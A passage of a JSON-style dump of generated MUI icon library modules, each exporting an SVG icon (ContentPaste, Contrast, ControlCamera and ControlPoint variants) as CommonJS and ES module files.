3.84 1.43.44 2.64.07 3.65-.51l2 2c.39.39 1.01.39 1.4 0s.4-1.02.01-1.41M16.5 19c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v1c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5h2v5h2V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h5v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.3 20.9-2-2c.58-1.01.95-2.23.51-3.65-.53-1.72-2.04-3.05-3.84-3.22-2.87-.28-5.23 2.07-4.95 4.95.18 1.79 1.5 3.31 3.22 3.84 1.43.44 2.64.07 3.65-.51l2 2c.39.39 1.01.39 1.4 0s.4-1.02.01-1.41M16.5 19c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h7v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h2v3h10V5h2v5h2V3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h7v-2H5zm7-2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"1\")], 'ContentPasteSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16.5c0-3.58 2.92-6.5 6.5-6.5.89 0 1.73.18 2.5.5V5h-2v3H7V5H5v14h5.5c-.32-.77-.5-1.61-.5-2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 19H5V5h2v3h10V5h2v5.5c.75.31 1.42.76 2 1.32V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6.82c-.55-.58-1.01-1.25-1.32-2M12 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"2\")], 'ContentPasteSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSearchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16.5c0-3.58 2.92-6.5 6.5-6.5.89 0 1.73.18 2.5.5V5h-2v3H7V5H5v14h5.5c-.32-.77-.5-1.61-.5-2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 19H5V5h2v3h10V5h2v5.5c.75.31 1.42.76 2 1.32V5c0-1.1-.9-2-2-2h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h6.82c-.55-.58-1.01-1.25-1.32-2M12 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.3 18.9c.4-.7.7-1.5.7-2.4 0-2.5-2-4.5-4.5-4.5S12 14 12 16.5s2 4.5 4.5 4.5c.9 0 1.7-.3 2.4-.7l2.7 2.7 1.4-1.4zm-3.8.1c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5\"\n}, \"2\")], 'ContentPasteSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2h-6.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H3v20h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}), 'ContentPasteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2h-6.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H3v20h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}), 'ContentPasteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7H7V4H5v16h14V4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}, \"1\")], 'ContentPasteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContentPasteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7H7V4H5v16h14V4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2h-4.18C14.4.84 13.3 0 12 0S9.6.84 9.18 2H5c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m7 18H5V4h2v3h10V4h2z\"\n}, \"1\")], 'ContentPasteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Contrast.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'Contrast');"
  },
  {
    "path": "packages/mui-icons-material/lib/Contrast.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'Contrast');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContrastTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m1-17.93c3.94.49 7 3.85 7 7.93s-3.05 7.44-7 7.93z\"\n}), 'ContrastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCamera.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.54 5.54 13.77 7.3 12 5.54 10.23 7.3 8.46 5.54 12 2zm2.92 10-1.76-1.77L18.46 12l-1.76-1.77 1.76-1.77L22 12zm-10 2.92 1.77-1.76L12 18.46l1.77-1.76 1.77 1.76L12 22zm-2.92-10 1.76 1.77L5.54 12l1.76 1.77-1.76 1.77L2 12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCamera.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.54 5.54 13.77 7.3 12 5.54 10.23 7.3 8.46 5.54 12 2zm2.92 10-1.76-1.77L18.46 12l-1.76-1.77 1.76-1.77L22 12zm-10 2.92 1.77-1.76L12 18.46l1.77-1.76 1.77 1.76L12 22zm-2.92-10 1.76 1.77L5.54 12l1.76 1.77-1.76 1.77L2 12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.54 8.46 2 12l3.54 3.54 1.76-1.77L5.54 12l1.76-1.77zm6.46 10-1.77-1.76-1.77 1.76L12 22l3.54-3.54-1.77-1.76zm6.46-10-1.76 1.77L18.46 12l-1.76 1.77 1.76 1.77L22 12zm-10-2.92 1.77 1.76L12 5.54l1.77 1.76 1.77-1.76L12 2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.54 8.46 2 12l3.54 3.54 1.76-1.77L5.54 12l1.76-1.77zm6.46 10-1.77-1.76-1.77 1.76L12 22l3.54-3.54-1.77-1.76zm6.46-10-1.76 1.77L18.46 12l-1.76 1.77 1.76 1.77L22 12zm-10-2.92 1.77 1.76L12 5.54l1.77 1.76 1.77-1.76L12 2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.65 9.35 2.7 11.3c-.39.39-.39 1.02 0 1.41l1.95 1.95c.49.49 1.28.49 1.77 0 .48-.49.48-1.27 0-1.76l-.88-.9.88-.89c.48-.49.48-1.27 0-1.76s-1.28-.49-1.77 0m12.93 0c-.48.49-.48 1.27 0 1.76l.88.89-.88.89c-.48.49-.48 1.27 0 1.76.49.49 1.28.49 1.77 0l1.95-1.95c.39-.39.39-1.02 0-1.41l-1.95-1.95c-.49-.48-1.29-.48-1.77.01M12 18.46l-.89-.88c-.49-.48-1.27-.48-1.76 0-.49.49-.49 1.28 0 1.77l1.95 1.95c.39.39 1.02.39 1.41 0l1.95-1.95c.49-.49.49-1.28 0-1.77-.49-.48-1.27-.48-1.76 0zM9.35 6.42c.49.48 1.27.48 1.76 0l.89-.88.89.88c.49.48 1.27.48 1.76 0 .49-.49.49-1.28 0-1.77L12.7 2.7a.996.996 0 0 0-1.41 0L9.35 4.65c-.49.49-.49 1.29 0 1.77\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.65 9.35 2.7 11.3c-.39.39-.39 1.02 0 1.41l1.95 1.95c.49.49 1.28.49 1.77 0 .48-.49.48-1.27 0-1.76l-.88-.9.88-.89c.48-.49.48-1.27 0-1.76s-1.28-.49-1.77 0m12.93 0c-.48.49-.48 1.27 0 1.76l.88.89-.88.89c-.48.49-.48 1.27 0 1.76.49.49 1.28.49 1.77 0l1.95-1.95c.39-.39.39-1.02 0-1.41l-1.95-1.95c-.49-.48-1.29-.48-1.77.01M12 18.46l-.89-.88c-.49-.48-1.27-.48-1.76 0-.49.49-.49 1.28 0 1.77l1.95 1.95c.39.39 1.02.39 1.41 0l1.95-1.95c.49-.49.49-1.28 0-1.77-.49-.48-1.27-.48-1.76 0zM9.35 6.42c.49.48 1.27.48 1.76 0l.89-.88.89.88c.49.48 1.27.48 1.76 0 .49-.49.49-1.28 0-1.77L12.7 2.7a.996.996 0 0 0-1.41 0L9.35 4.65c-.49.49-.49 1.29 0 1.77\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.54 8.46 2 12l3.54 3.54 1.76-1.77L5.54 12l1.76-1.77zm12.92 0-1.76 1.77L18.46 12l-1.76 1.77 1.76 1.77L22 12zm-6.46 10-1.77-1.76-1.77 1.76L12 22l3.54-3.54-1.77-1.76zM8.46 5.54l1.77 1.76L12 5.54l1.77 1.76 1.77-1.76L12 2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.54 8.46 2 12l3.54 3.54 1.76-1.77L5.54 12l1.76-1.77zm12.92 0-1.76 1.77L18.46 12l-1.76 1.77 1.76 1.77L22 12zm-6.46 10-1.77-1.76-1.77 1.76L12 22l3.54-3.54-1.77-1.76zM8.46 5.54l1.77 1.76L12 5.54l1.77 1.76 1.77-1.76L12 2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.3 13.77 5.54 12l1.76-1.77-1.76-1.77L2 12l3.54 3.54zm8.24 4.69-1.77-1.76L12 18.46l-1.77-1.76-1.77 1.76L12 22zm2.92-2.92L22 12l-3.54-3.54-1.76 1.77L18.46 12l-1.76 1.77zM12 5.54l1.77 1.76 1.77-1.76L12 2 8.46 5.54l1.77 1.76z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlCameraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.3 13.77 5.54 12l1.76-1.77-1.76-1.77L2 12l3.54 3.54zm8.24 4.69-1.77-1.76L12 18.46l-1.77-1.76-1.77 1.76L12 22zm2.92-2.92L22 12l-3.54-3.54-1.76 1.77L18.46 12l-1.76 1.77zM12 5.54l1.77 1.76 1.77-1.76L12 2 8.46 5.54l1.77 1.76z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"1\")], 'ControlCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlPoint.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'ControlPoint');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlPoint.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'ControlPoint');"
  },
  {
    "path": "packages/mui-icons-material/lib/ControlPointDuplicate.js",
